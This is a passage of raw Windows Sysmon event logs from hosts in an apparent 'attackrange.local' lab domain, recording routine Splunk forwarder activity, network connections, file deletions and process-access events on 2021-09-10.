354300x800000000000000056139Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:30.467{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63165-false10.0.1.12-8000- 23542300x800000000000000056138Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:33.057{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CE6104AB15EC2407F6CC2F4D2E8E5FED,SHA256=2A79FCC28F1B41BC8CC0E98C64609BD2B0B10E6332BA71406DE6642BD1E47F15,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000056141Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:30.871{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local63163-false104.46.162.226-443https 23542300x800000000000000056140Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:34.077{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=92A0978FE6E0DB61A03F9464FAD5E842,SHA256=54F11489D3311335DD69BDEE881D8E9798C6A4E8E14507943F4E76A58B494918,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018000Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:34.357{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D0AFFEE73505212D9EAEEF48F6D6E250,SHA256=EAB2DA98B927B6FEF050BA8B2D25F6C02E1358B9B642CCCF5BA92AEF2F37AA24,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000017999Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.540{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50394-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 10341000x800000000000000017998Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:34.060{625C326B-74B5-613B-3905-00000000F101}15561956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018030Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.935{625C326B-74B7-613B-3B05-00000000F101}26881584C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018029Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.717{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-74B7-613B-3B05-00000000F101}2688C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018028Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.717{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018027Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.717{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018026Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.717{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018025Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.717{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018024Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.717{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018023Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.717{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018022Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.717{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018021Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.717{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018020Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.717{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018019Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.717{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-74B7-613B-3B05-00000000F101}2688C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018018Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.717{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-74B7-613B-3B05-00000000F101}2688C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018017Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.718{625C326B-74B7-613B-3B05-00000000F101}2688C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000018016Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.451{625C326B-74B7-613B-3A05-00000000F101}1760756C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000018015Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.404{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DC570F561DE1CEDF96525FD4D46BB4D3,SHA256=E126253DC6B21995580C74A654626011DAB48821222081DC75B848A113E10FBF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056142Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:35.311{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8E398511A7FA480E0CFFBD63C951D90E,SHA256=27B0CAE4CCE9982053C49CE4E14920FC82CF07223094B7B012C3327D50AD4993,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000018014Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.092{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-74B7-613B-3A05-00000000F101}1760C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018013Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.092{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018012Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.092{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018011Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.092{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018010Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.092{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018009Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.092{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018008Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.092{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018007Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 